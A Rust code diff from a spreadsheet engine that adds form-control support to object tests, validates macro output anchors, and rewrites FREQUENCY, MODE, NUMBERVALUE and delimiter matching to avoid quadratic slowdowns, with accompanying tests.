let r = s.execute("macro.run", json!({"name": "Placed", "output": "F1"}));
|
||||
let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") };
|
||||
assert!(q.contains("(F1 on Sheet1)"), "{q}");
|
||||
let err = s.execute("macro.run", json!({"name": "Placed", "output": "F1", "onConflict": "fail"})).unwrap_err().to_string();
|
||||
assert!(err.contains("Nothing was changed"), "{err}");
|
||||
assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &start));
|
||||
// macro.check reports the override and its conflict.
|
||||
let c = s.execute("macro.check", json!({"name": "Placed", "output": "F1"})).unwrap();
|
||||
assert_eq!((&c["ok"], &c["output"], &c["conflicts"]), (&json!(false), &json!("F1"), &json!(1)), "{c}");
|
||||
// On another sheet too.
|
||||
s.execute("cell.set", json!({"cell": "Other!B2", "input": "theirs"})).unwrap();
|
||||
let r = s.execute("macro.run", json!({"name": "Placed", "output": "Other!B2"}));
|
||||
assert!(matches!(&r, Err(EngineError::Confirm(q)) if q.contains("(B2 on Other)")), "{r:?}");
|
||||
// The stored anchor holding data doesn't matter when the output goes elsewhere.
|
||||
set(&mut s, "D1", "stored anchor's data");
|
||||
s.execute("macro.run", json!({"name": "Placed", "output": "H1"})).unwrap();
|
||||
assert_eq!((v(&s, "H1").display(), v(&s, "D1").display()), ("out".to_string(), "stored anchor's data".to_string()));
|
||||
// Hostile values are refused before anything runs.
|
||||
let before = s.doc().unwrap().wb.clone();
|
||||
for (bad, needle) in [
|
||||
(json!(5), "`output` must be reference text"),
|
||||
(json!({"cell": "F1"}), "`output` must be reference text"),
|
||||
(json!(" "), "`output` must be reference text"),
|
||||
(json!("x".repeat(1_025)), "`output` must be reference text"),
|
||||
(json!("F1\nF2"), "`output` must be reference text"),
|
||||
(json!("NoSuchSheet!A1"), "output anchor"),
|
||||
(json!("XFE1"), "output anchor"),
|
||||
(json!("A1048577"), "output anchor"),
|
||||
(json!("not a cell!!"), "output anchor"),
|
||||
] {
|
||||
let err = s.execute("macro.run", json!({"name": "Placed", "output": bad, "onConflict": "overwrite"})).unwrap_err().to_string();
|
||||
assert!(err.contains(needle), "{bad}: {err}");
|
||||
let c = s.execute("macro.check", json!({"name": "Placed", "output": bad})).unwrap();
|
||||
assert!(c["errors"].to_string().contains(needle), "{bad}: {c}");
|
||||
}
|
||||
assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &before));
|
||||
}
|
||||
|
||||
/// After a partial footprint (Solver can't be previewed), a later step that deletes a form
|
||||
/// control is caught by the check of each step, as one that deletes a chart or a picture is.
|
||||
#[test]
|
||||
fn a_step_that_deletes_a_form_control_after_a_partial_footprint_is_caught() {
|
||||
let mut s = s();
|
||||
set(&mut s, "A1", "1");
|
||||
set(&mut s, "C1", "=A1");
|
||||
let control = s.execute("insert.spinButton", json!({"at": "E2"})).unwrap()["control"].as_u64().unwrap();
|
||||
let solver = json!({"command": "data.solver", "params": {"objective": "C1", "variables": "A1", "constraints": ["A1 <= 5"], "method": "simplex", "saveModel": false}});
|
||||
let delete = json!({"command": "object.delete", "params": {"kind": "control", "id": control}});
|
||||
put(&mut s, json!({"name": "Drop", "inputs": [{"name": "Input"}], "steps": [solver, delete]}));
|
||||
let start = s.doc().unwrap().wb.clone();
|
||||
for rule in ["fail", "ask"] {
|
||||
let r = s.execute("macro.run", json!({"name": "Drop", "inputs": "A1", "onConflict": rule}));
|
||||
let e = match (rule, r) {
|
||||
("fail", Err(EngineError::Other(e))) | ("ask", Err(EngineError::Confirm(e))) => e,
|
||||
(_, r) => panic!("{rule}: {r:?}"),
|
||||
};
|
||||
assert!(e.contains("Step 2 (object.delete): It would write over data (1 object)"), "{e}");
|
||||
assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &start), "{rule}: rolled back");
|
||||
}
|
||||
s.execute("macro.run", json!({"name": "Drop", "inputs": "A1", "overwrite": true})).unwrap();
|
||||
assert!(s.doc().unwrap().wb.active().unwrap().controls.is_empty());
|
||||
}
|
||||
|
||||
@@ -20,8 +20,8 @@ fn id_of(v: &serde_json::Value, key: &str) -> u32 {
|
||||
}
|
||||
|
||||
/// A table with one object of each kind on the first sheet: a chart, a picture, a shape, a
|
||||
/// slicer and an equation, in `ObjKind::ALL` order.
|
||||
fn every_kind(s: &mut Session) -> [ObjRef; 5] {
|
||||
/// slicer, an equation and a form control, in `ObjKind::ALL` order.
|
||||
fn every_kind(s: &mut Session) -> [ObjRef; 6] {
|
||||
s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Qty"], ["East", 3], ["West", 5], ["East", 2], ["North", 8]]})).unwrap();
|
||||
s.execute("insert.table", json!({"range": "A1:B5", "name": "Sales"})).unwrap();
|
||||
let chart = id_of(&s.execute("insert.chart", json!({"range": "B1:B5", "type": "column", "at": "D2"})).unwrap(), "chart");
|
||||
@@ -30,12 +30,14 @@ fn every_kind(s: &mut Session) -> [ObjRef; 5] {
|
||||
s.execute("selection.set", json!({"cell": "A2"})).unwrap();
|
||||
let slicer = id_of(&s.execute("insert.slicer", json!({"column": "Region", "at": "L2"})).unwrap(), "slicer");
|
||||
let equation = id_of(&s.execute("insert.equation", json!({"latex": "x^2", "cell": "L18"})).unwrap(), "equation");
|
||||
let control = id_of(&s.execute("insert.slider", json!({"at": "P18", "link": "$B$7"})).unwrap(), "control");
|
||||
[
|
||||
ObjRef::new(ObjKind::Chart, chart),
|
||||
ObjRef::new(ObjKind::Image, image),
|
||||
ObjRef::new(ObjKind::Shape, shape),
|
||||
ObjRef::new(ObjKind::Slicer, slicer),
|
||||
ObjRef::new(ObjKind::Equation, equation),
|
||||
ObjRef::new(ObjKind::Control, control),
|
||||
]
|
||||
}
|
||||
|
||||
@@ -68,9 +70,9 @@ fn every_kind_is_found_moved_and_deleted_by_kind_and_id() {
|
||||
assert!(sheet(&s, 0).has_object(*later), "deleting {o:?} leaves {later:?}");
|
||||
}
|
||||
}
|
||||
// One undo step per delete brings the equation back.
|
||||
// One undo step per delete brings the control, deleted last, back.
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
assert!(sheet(&s, 0).has_object(objs[4]));
|
||||
assert!(sheet(&s, 0).has_object(objs[5]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -84,9 +86,11 @@ fn selection_pane_lists_and_stacks_slicers() {
|
||||
for k in ObjKind::ALL {
|
||||
assert!(kinds.contains(&k.name()), "{k:?} listed in {kinds:?}");
|
||||
}
|
||||
assert_eq!(kinds.last(), Some(&"slicer"), "slicers stack on top");
|
||||
assert_eq!(kinds.last(), Some(&"control"), "form controls stack on top");
|
||||
assert_eq!(kinds.get(kinds.len() - 2), Some(&"slicer"), "slicers stack above charts, pictures and shapes");
|
||||
let names: Vec<&str> = items.iter().map(|o| o["name"].as_str().unwrap()).collect();
|
||||
assert!(names.contains(&"Region") && names.contains(&"Qty"), "{names:?}");
|
||||
assert!(names.contains(&format!("Slider {}", objs[5].id).as_str()), "{names:?}");
|
||||
assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(objs[3].id));
|
||||
s.execute("arrange.sendBackward", json!({"kind": "slicer", "id": second, "toBack": true})).unwrap();
|
||||
assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(second));
|
||||
@@ -122,17 +126,17 @@ fn cell_of(s: &Session, o: ObjRef) -> String {
|
||||
fn every_kind_follows_row_and_column_edits_and_sorts() {
|
||||
let mut s = s();
|
||||
let objs = every_kind(&mut s);
|
||||
// Anchors: chart D2, picture D18, shape H18, slicer L2, equation L18.
|
||||
// Anchors: chart D2, picture D18, shape H18, slicer L2, equation L18, slider P18.
|
||||
s.execute("object.setAnchorMode", json!({"kind": "shape", "id": objs[2].id, "mode": "absolute"})).unwrap();
|
||||
let cells = |s: &Session| objs.map(|o| cell_of(s, o));
|
||||
assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18"]);
|
||||
assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18", "P18"]);
|
||||
s.execute("home.insertRows", json!({"rows": "10:11"})).unwrap();
|
||||
assert_eq!(cells(&s), ["D2", "D20", "H18", "L2", "L20"], "rows inserted above move the objects below them; an absolute shape stays");
|
||||
assert_eq!(cells(&s), ["D2", "D20", "H18", "L2", "L20", "P20"], "rows inserted above move the objects below them; an absolute shape stays");
|
||||
s.execute("home.insertColumns", json!({"cols": "C:C"})).unwrap();
|
||||
assert_eq!(cells(&s), ["E2", "E20", "H18", "M2", "M20"]);
|
||||
assert_eq!(cells(&s), ["E2", "E20", "H18", "M2", "M20", "Q20"]);
|
||||
s.execute("home.deleteColumns", json!({"cols": "C:C"})).unwrap();
|
||||
s.execute("home.deleteRows", json!({"rows": "10:11"})).unwrap();
|
||||
assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18"]);
|
||||
assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18", "P18"]);
|
||||
// Sorting moves a picture anchored inside the sorted block with its row.
|
||||
s.execute("range.setValues", json!({"range": "T1", "values": [["k"], [3], [1], [2]]})).unwrap();
|
||||
let pic = ObjRef::new(ObjKind::Image, super::add_image(&mut s, "T2", AnchorMode::MoveAndSize));
|
||||
@@ -261,6 +265,7 @@ fn a_copied_sheet_gives_its_objects_fresh_ids() {
|
||||
.chain(sh.images.iter().map(|c| c.id))
|
||||
.chain(sh.shapes.iter().map(|c| c.id))
|
||||
.chain(sh.slicers.iter().map(|c| c.id))
|
||||
.chain(sh.controls.iter().map(|c| c.id))
|
||||
.collect()
|
||||
};
|
||||
let mut ids: Vec<u32> = wb.sheets.iter().flat_map(|sh| ids_of(sh)).collect();
|
||||
@@ -314,6 +319,26 @@ fn object_ids_stay_unique_when_a_file_used_the_largest_id() {
|
||||
assert_eq!(ids.len(), 6, "every shape id is distinct across both sheets");
|
||||
}
|
||||
|
||||
/// A copied sheet's form controls take free ids like its other objects: a file's control can
|
||||
/// carry the largest id, and the ids the copy asks for count the controls.
|
||||
#[test]
|
||||
fn a_copied_sheets_form_controls_take_free_ids_too() {
|
||||
let mut s = s();
|
||||
let slider = id_of(&s.execute("insert.slider", json!({"at": "B2", "link": "$A$1"})).unwrap(), "control");
|
||||
s.execute("insert.button", json!({"at": "B6"})).unwrap();
|
||||
s.execute("insert.shape", json!({"kind": "rectangle", "at": "D2"})).unwrap();
|
||||
// The file's slider carries the largest id (set on the model, as a loaded file would).
|
||||
std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().controls.iter_mut().find(|o| o.id == slider).unwrap().id = u32::MAX;
|
||||
s.execute("sheet.move", json!({"sheet": 0, "to": 1, "copy": true})).unwrap();
|
||||
let wb = &s.doc().unwrap().wb;
|
||||
let mut ids: Vec<u32> = wb.sheets.iter().flat_map(|sh| sh.controls.iter().map(|o| o.id).chain(sh.shapes.iter().map(|o| o.id))).collect();
|
||||
assert_eq!(ids.len(), 6);
|
||||
ids.sort_unstable();
|
||||
ids.dedup();
|
||||
assert_eq!(ids.len(), 6, "every control and shape id is distinct across both sheets: {ids:?}");
|
||||
assert_eq!(ids.iter().filter(|&&i| i == u32::MAX).count(), 1, "only the file's slider keeps the largest id");
|
||||
}
|
||||
|
||||
/// A file's anchors are not held to the 10,000 points `object.move` gives a new size. A picture
|
||||
/// a file made 12,000 wide keeps that width when it is moved, shrinks by what a resize asks
|
||||
/// (11,990 stays 11,990, no jump to 10,000) and never grows further; a dimension the file kept
|
||||
|
||||
@@ -61,7 +61,7 @@ impl FormulaLocale {
|
||||
pub fn parse_input(src: &str, locale: FormulaLocale, known_name: impl Fn(&str) -> bool) -> Result<Expr, ParseError> {
|
||||
let mut expr = parser::parse_syntax(src, locale)?;
|
||||
if locale == FormulaLocale::Es {
|
||||
normalize(&mut expr, &known_name, &mut Vec::new(), 0, false)?;
|
||||
normalize(&mut expr, &known_name, &mut Bindings::default(), 0, false)?;
|
||||
}
|
||||
Ok(expr)
|
||||
}
|
||||
@@ -96,7 +96,7 @@ pub fn print_input(expr: &Expr, locale: FormulaLocale, known_name: impl Fn(&str)
|
||||
return Ok(crate::print(expr));
|
||||
}
|
||||
let mut expr = expr.clone();
|
||||
normalize(&mut expr, &known_name, &mut Vec::new(), 0, true)?;
|
||||
normalize(&mut expr, &known_name, &mut Bindings::default(), 0, true)?;
|
||||
let canonical = crate::print(&expr);
|
||||
let tokens = crate::lexer::tokenize(&canonical).map_err(|e| ParseError { msg: e.msg, pos: e.pos })?;
|
||||
let mut out = String::new();
|
||||
@@ -131,11 +131,47 @@ pub(crate) fn boolean_alias(name: &str) -> Option<bool> {
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Vec<String>, depth: usize, display: bool) -> Result<(), ParseError> {
|
||||
/// The LET/LAMBDA names in scope, with how many times each is bound, so a lookup is one probe
|
||||
/// instead of a scan of every binding for each call.
|
||||
#[derive(Default)]
|
||||
struct Bindings {
|
||||
stack: Vec<String>,
|
||||
counts: std::collections::HashMap<String, usize>,
|
||||
}
|
||||
|
||||
impl Bindings {
|
||||
fn len(&self) -> usize {
|
||||
self.stack.len()
|
||||
}
|
||||
|
||||
fn push(&mut self, name: &str) {
|
||||
let key = crate::fold_name(name);
|
||||
*self.counts.entry(key.clone()).or_default() += 1;
|
||||
self.stack.push(key);
|
||||
}
|
||||
|
||||
fn truncate(&mut self, len: usize) {
|
||||
while self.stack.len() > len {
|
||||
let Some(key) = self.stack.pop() else { break };
|
||||
if let Some(n) = self.counts.get_mut(&key) {
|
||||
*n -= 1;
|
||||
if *n == 0 {
|
||||
self.counts.remove(&key);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn contains(&self, name: &str) -> bool {
|
||||
self.counts.contains_key(&crate::fold_name(name))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Bindings, depth: usize, display: bool) -> Result<(), ParseError> {
|
||||
if depth > parser::MAX_DEPTH {
|
||||
return Err(ParseError { msg: "formula is nested too deeply".into(), pos: 0 });
|
||||
}
|
||||
let bound = |name: &str, bindings: &[String]| bindings.iter().rev().any(|n| crate::same_name(n, name)) || known_name(name);
|
||||
let bound = |name: &str, bindings: &Bindings| bindings.contains(name) || known_name(name);
|
||||
match expr {
|
||||
Expr::Bool(value) if display => {
|
||||
let alias = if *value { "VERDADERO" } else { "FALSO" };
|
||||
@@ -156,7 +192,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut
|
||||
// The new name is not in scope in its own value expression.
|
||||
normalize(value, known_name, bindings, depth + 1, display)?;
|
||||
if let Expr::Name(name) = declaration {
|
||||
bindings.push(name.clone());
|
||||
bindings.push(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -169,7 +205,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut
|
||||
if let Some((body, params)) = args.split_last_mut() {
|
||||
for param in params {
|
||||
if let Expr::Name(name) = param {
|
||||
bindings.push(name.clone());
|
||||
bindings.push(name);
|
||||
}
|
||||
}
|
||||
normalize(body, known_name, bindings, depth + 1, display)?;
|
||||
|
||||
@@ -50,12 +50,27 @@ pub(super) fn median(v: Vec<f64>) -> R<f64> {
|
||||
|
||||
/// Values occurring at least twice, ordered by first occurrence, with their (equal, maximal) count.
|
||||
fn modes(v: &[f64]) -> Vec<f64> {
|
||||
// Index of each distinct number in `counts`, so counting is linear rather than a search of
|
||||
// every distinct number so far. Keyed by bits with -0 folded into 0 (they compare equal); NaN
|
||||
// never equals anything, so it is never merged.
|
||||
let mut index: std::collections::HashMap<u64, usize> = std::collections::HashMap::new();
|
||||
let mut counts: Vec<(f64, usize)> = Vec::new();
|
||||
for &x in v {
|
||||
if let Some(e) = counts.iter_mut().find(|e| e.0 == x) {
|
||||
e.1 += 1;
|
||||
} else {
|
||||
if x.is_nan() {
|
||||
counts.push((x, 1));
|
||||
continue;
|
||||
}
|
||||
let key = if x == 0.0 { 0 } else { x.to_bits() };
|
||||
match index.entry(key) {
|
||||
std::collections::hash_map::Entry::Occupied(e) => {
|
||||
if let Some(c) = counts.get_mut(*e.get()) {
|
||||
c.1 += 1;
|
||||
}
|
||||
}
|
||||
std::collections::hash_map::Entry::Vacant(e) => {
|
||||
e.insert(counts.len());
|
||||
counts.push((x, 1));
|
||||
}
|
||||
}
|
||||
}
|
||||
let best = counts.iter().map(|e| e.1).max().unwrap_or(0);
|
||||
@@ -451,11 +466,15 @@ pub(super) fn frequency(a: &[Arg], _: C) -> R<Value> {
|
||||
if bins.is_empty() {
|
||||
return col_value(vec![data.len() as f64]);
|
||||
}
|
||||
let mut order: Vec<usize> = (0..bins.len()).collect();
|
||||
// a NaN bin equals no value (and would break the ascending order searched below)
|
||||
let mut order: Vec<usize> = (0..bins.len()).filter(|&i| bins.get(i).is_some_and(|b| !b.is_nan())).collect();
|
||||
order.sort_by(|&i, &j| bins.get(i).copied().unwrap_or(0.0).total_cmp(&bins.get(j).copied().unwrap_or(0.0)));
|
||||
let mut counts = vec![0.0; bins.len() + 1];
|
||||
for x in data {
|
||||
let slot = order.iter().find(|&&i| x <= bins.get(i).copied().unwrap_or(f64::INFINITY)).copied().unwrap_or(bins.len());
|
||||
// `order` sorts the bins ascending, so the bins `x` exceeds come first: binary search for
|
||||
// the first bin at or above `x` (the first of equal bins, as a linear scan would find).
|
||||
let pos = if x.is_nan() { order.len() } else { order.partition_point(|&i| bins.get(i).copied().unwrap_or(f64::INFINITY) < x) };
|
||||
let slot = order.get(pos).copied().unwrap_or(bins.len());
|
||||
if let Some(c) = counts.get_mut(slot) {
|
||||
*c += 1.0;
|
||||
}
|
||||
|
||||
@@ -617,3 +617,23 @@ fn aggregate_helper() {
|
||||
close(aggregate_values_k(9, &vals, &nv(2.0)), 9.0);
|
||||
is_err(aggregate_values_k(14, &vals, &nv(10.0)), CellError::Num);
|
||||
}
|
||||
|
||||
/// Security: FREQUENCY finds each value's bin by binary search, and MODE counts distinct numbers
|
||||
/// through an index, so neither is quadratic in its inputs. Results are as before: unsorted and
|
||||
/// duplicate bins keep their positions (a value goes to the first of equal bins), and tied modes
|
||||
/// come in first-occurrence order.
|
||||
#[test]
|
||||
fn frequency_and_mode_scale_with_their_inputs() {
|
||||
let f = ev("FREQUENCY", vec![c(&[1.0, 2.0, 2.0, 3.0, 5.0, 9.0, -1.0]), c(&[3.0, 2.0, 2.0, 0.0])]);
|
||||
assert_eq!(rows_of(&f), vec![vec![nv(1.0)], vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]);
|
||||
// NaN data goes to the overflow bin, and a NaN bin takes nothing
|
||||
let f = ev("FREQUENCY", vec![c(&[f64::NAN, 0.5, 2.0]), c(&[f64::NAN, 1.0])]);
|
||||
assert_eq!(rows_of(&f), vec![vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]);
|
||||
let data: Vec<f64> = (0..200_000).map(|i| f64::from(i) + 1e6).collect();
|
||||
let bins: Vec<f64> = (0..200_000).map(f64::from).collect();
|
||||
let f = ev("FREQUENCY", vec![c(&data), c(&bins)]);
|
||||
assert_eq!(rows_of(&f).last(), Some(&vec![nv(200_000.0)]));
|
||||
let distinct = ev("MODE", vec![c(&data)]);
|
||||
is_err(distinct, CellError::NA);
|
||||
assert_eq!(rows_of(&ev("MODE.MULT", vec![c(&[3.0, 0.0, 1.0, -0.0, 3.0, 1.0])])), vec![vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)]]);
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
//! Text functions.
|
||||
|
||||
use std::collections::HashMap;
|
||||
|
||||
use gridcraft_core::parse::parse_number_text_in;
|
||||
use gridcraft_core::{CellError, Value, number_to_text};
|
||||
|
||||
@@ -339,11 +341,11 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R<Value> {
|
||||
if body.is_empty() {
|
||||
return num_val(0.0);
|
||||
}
|
||||
let mut pct = 0;
|
||||
while let Some(b) = body.strip_suffix('%') {
|
||||
body = b.to_string();
|
||||
pct += 1;
|
||||
}
|
||||
// Count the trailing percent signs and cut them off in place: copying the rest once per sign
|
||||
// made a long run of them quadratic.
|
||||
let kept = body.trim_end_matches('%').len();
|
||||
let pct = body.len() - kept;
|
||||
body.truncate(kept);
|
||||
let mut seen_dec = false;
|
||||
let mut out = String::new();
|
||||
for c in body.chars() {
|
||||
@@ -541,23 +543,52 @@ fn delimiters(v: &Value) -> R<Vec<Vec<char>>> {
|
||||
as_array(v).iter().map(|d| d.to_text().map(|s| chars(&s))).collect()
|
||||
}
|
||||
|
||||
/// Most delimiter characters compared in one search: text length × delimiters is the formula's
|
||||
/// to choose, so the search gives up with `#VALUE!` rather than run on.
|
||||
const MAX_MATCH_WORK: u64 = 100_000_000;
|
||||
|
||||
/// Non-overlapping delimiter matches (start, end) in char positions, in ascending order. Scans left
|
||||
/// to right preferring the longest delimiter starting at each position, or (`from_end`) right to
|
||||
/// left preferring the longest delimiter ending at each position. Empty delimiters are ignored unless all
|
||||
/// delimiters are empty, in which case every position matches with zero length.
|
||||
fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end: bool) -> Vec<(usize, usize)> {
|
||||
/// delimiters are empty, in which case every position matches with zero length. Repeated
|
||||
/// delimiters are tried once, and only those whose first (or, from the end, last) character is the
|
||||
/// one at hand; a search past [`MAX_MATCH_WORK`] is `#VALUE!`.
|
||||
fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end: bool) -> R<Vec<(usize, usize)>> {
|
||||
let t = if insensitive { fold(text) } else { text.to_vec() };
|
||||
let ds: Vec<Vec<char>> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect();
|
||||
let mut ds: Vec<Vec<char>> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect();
|
||||
if ds.is_empty() {
|
||||
return (0..=t.len()).map(|i| (i, i)).collect();
|
||||
return Ok((0..=t.len()).map(|i| (i, i)).collect());
|
||||
}
|
||||
ds.sort_unstable();
|
||||
ds.dedup();
|
||||
// Delimiters by the character a match is anchored on.
|
||||
let mut by_char: HashMap<char, Vec<&[char]>> = HashMap::new();
|
||||
for d in &ds {
|
||||
let anchor = if from_end { d.last() } else { d.first() };
|
||||
if let Some(&c) = anchor {
|
||||
by_char.entry(c).or_default().push(d);
|
||||
}
|
||||
}
|
||||
let mut work = 0u64;
|
||||
let mut longest = |candidates: Option<&Vec<&[char]>>, fits: &dyn Fn(&[char]) -> bool| -> R<Option<usize>> {
|
||||
let mut best = None;
|
||||
for d in candidates.into_iter().flatten() {
|
||||
work = work.saturating_add(d.len() as u64);
|
||||
if work > MAX_MATCH_WORK {
|
||||
return Err(CellError::Value);
|
||||
}
|
||||
if fits(d) {
|
||||
best = best.max(Some(d.len()));
|
||||
}
|
||||
}
|
||||
Ok(best)
|
||||
};
|
||||
let mut out = Vec::new();
|
||||
if from_end {
|
||||
let mut j = t.len();
|
||||
while j > 0 {
|
||||
let best =
|
||||
ds.iter().filter(|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d.as_slice())).map(Vec::len).max();
|
||||
match best {
|
||||
let at = t.get(j - 1).and_then(|c| by_char.get(c));
|
||||
match longest(at, &|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d))? {
|
||||
Some(l) => {
|
||||
out.push((j - l, j));
|
||||
j -= l;
|
||||
@@ -566,12 +597,12 @@ fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end
|
||||
}
|
||||
}
|
||||
out.reverse();
|
||||
return out;
|
||||
return Ok(out);
|
||||
}
|
||||
let mut i = 0;
|
||||
while i < t.len() {
|
||||
let best = ds.iter().filter(|d| t.get(i..i + d.len()).is_some_and(|w| w == d.as_slice())).map(Vec::len).max();
|
||||
match best {
|
||||
let at = t.get(i).and_then(|c| by_char.get(c));
|
||||
match longest(at, &|d| t.get(i..i + d.len()).is_some_and(|w| w == d))? {
|
||||
Some(l) => {
|
||||
out.push((i, i + l));
|
||||
i += l;
|
||||
@@ -579,7 +610,7 @@ fn find_matches(text: &[char], delims: &[Vec<char>], insensitive: bool, from_end
|
||||
None => i += 1,
|
||||
}
|
||||
}
|
||||
out
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
fn text_before_after(a: &[Arg], before: bool) -> R<Value> {
|
||||
@@ -591,7 +622,7 @@ fn text_before_after(a: &[Arg], before: bool) -> R<Value> {
|
||||
if !(0..=1).contains(&mode) || inst == 0 || inst.unsigned_abs() as usize > s.len().max(1) {
|
||||
return Err(CellError::Value);
|
||||
}
|
||||
let mut m = find_matches(&s, &delims, mode == 1, inst < 0);
|
||||
let mut m = find_matches(&s, &delims, mode == 1, inst < 0)?;
|
||||
if match_end {
|
||||
if inst > 0 {
|
||||
if m.last().is_none_or(|x| x.0 != s.len()) {
|
||||
@@ -620,18 +651,18 @@ fn textafter(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
|
||||
text_before_after(a, false)
|
||||
}
|
||||
|
||||
fn split_by(s: &[char], delims: &[Vec<char>], insensitive: bool) -> Vec<Vec<char>> {
|
||||
fn split_by(s: &[char], delims: &[Vec<char>], insensitive: bool) -> R<Vec<Vec<char>>> {
|
||||
if delims.iter().all(Vec::is_empty) {
|
||||
return vec![s.to_vec()];
|
||||
return Ok(vec![s.to_vec()]);
|
||||
}
|
||||
let mut out = Vec::new();
|
||||
let mut last = 0;
|
||||
for (st, en) in find_matches(s, delims, insensitive, false) {
|
||||
for (st, en) in find_matches(s, delims, insensitive, false)? {
|
||||
out.push(s[last..st].to_vec());
|
||||
last = en;
|
||||
}
|
||||
out.push(s[last..].to_vec());
|
||||
out
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
|
||||
@@ -648,12 +679,12 @@ fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R<Value> {
|
||||
}
|
||||
let pad = if has(a, 5) { scalar(arg(a, 5)?) } else { Value::Error(CellError::NA) };
|
||||
let mut rows: Vec<Vec<String>> = Vec::new();
|
||||
for r in split_by(&s, &row_d, mode == 1) {
|
||||
for r in split_by(&s, &row_d, mode == 1)? {
|
||||
if ignore && r.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let cells: Vec<String> =
|
||||
split_by(&r, &col_d, mode == 1).into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect();
|
||||
split_by(&r, &col_d, mode == 1)?.into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect();
|
||||
if ignore && cells.is_empty() {
|
||||
continue;
|
||||
}
|
||||
@@ -1084,6 +1115,15 @@ mod tests {
|
||||
|
||||
use crate::util::testutil::*;
|
||||
|
||||
/// Trailing percent signs each divide by 100, and a long run of them is cut off in one pass.
|
||||
#[test]
|
||||
fn numbervalue_percent_signs() {
|
||||
close(ev("NUMBERVALUE", vec![t("5%%")]), 0.0005);
|
||||
close(ev("NUMBERVALUE", vec![t("1,5%"), t(","), t(".")]), 0.015);
|
||||
let many = format!("1{}", "%".repeat(32_000));
|
||||
close(ev("NUMBERVALUE", vec![t(&many)]), 0.0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bahttext() {
|
||||
let bt = |x: f64| ev("BAHTTEXT", vec![n(x)]);
|
||||
@@ -1366,6 +1406,24 @@ mod tests {
|
||||
is_text(ev("TEXTAFTER", vec![t("aaa"), t("aa"), n(1.0)]), "a");
|
||||
}
|
||||
|
||||
/// Thousands of copies of one delimiter are tried once; delimiters that can't start where the
|
||||
/// scan stands aren't compared; a search over a budget of comparisons is `#VALUE!`.
|
||||
#[test]
|
||||
fn delimiter_matching_stays_bounded() {
|
||||
let text = "ab,".repeat(10_000);
|
||||
let same: Vec<&str> = vec![","; 50_000];
|
||||
let v = ev("TEXTSPLIT", vec![t(&text), av(row_t(&same))]);
|
||||
assert_eq!(rows_of(&v).first().map(Vec::len), Some(10_001));
|
||||
// Distinct long delimiters that start and end like every position: refused, not run.
|
||||
let long: Vec<String> = (0..5_000).map(|i| format!("a{i}{}", "a".repeat(1_000))).collect();
|
||||
let long: Vec<&str> = long.iter().map(String::as_str).collect();
|
||||
is_err(ev("TEXTSPLIT", vec![t(&"a".repeat(30_000)), av(row_t(&long))]), CellError::Value);
|
||||
is_err(ev("TEXTBEFORE", vec![t(&"a".repeat(30_000)), av(row_t(&long)), n(-1.0)]), CellError::Value);
|
||||
// Longest match wins at a position, from either end.
|
||||
is_text(ev("TEXTBEFORE", vec![t("x--y-z"), av(row_t(&["-", "--"]))]), "x");
|
||||
is_text(ev("TEXTAFTER", vec![t("x--y-z"), av(row_t(&["-", "--"])), n(-1.0)]), "z");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn split() {
|
||||
let v = ev("TEXTSPLIT", vec![t("a,b;c,d"), t(","), t(";")]);
|
||||
|
||||
@@ -540,6 +540,12 @@ impl Trendline {
|
||||
}
|
||||
}
|
||||
|
||||
/// Charts saved before `hole_size` existed were drawn with a 50% hole. New charts and charts read
|
||||
/// from XLSX set 75 explicitly (Excel's default), so only a missing JSON field keeps the old look.
|
||||
fn default_hole_size() -> u8 {
|
||||
50
|
||||
}
|
||||
|
||||
/// A chart's data table (`c:dTable`), independent of the chart legend.
|
||||
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(default)]
|
||||
@@ -569,6 +575,13 @@ pub struct Chart {
|
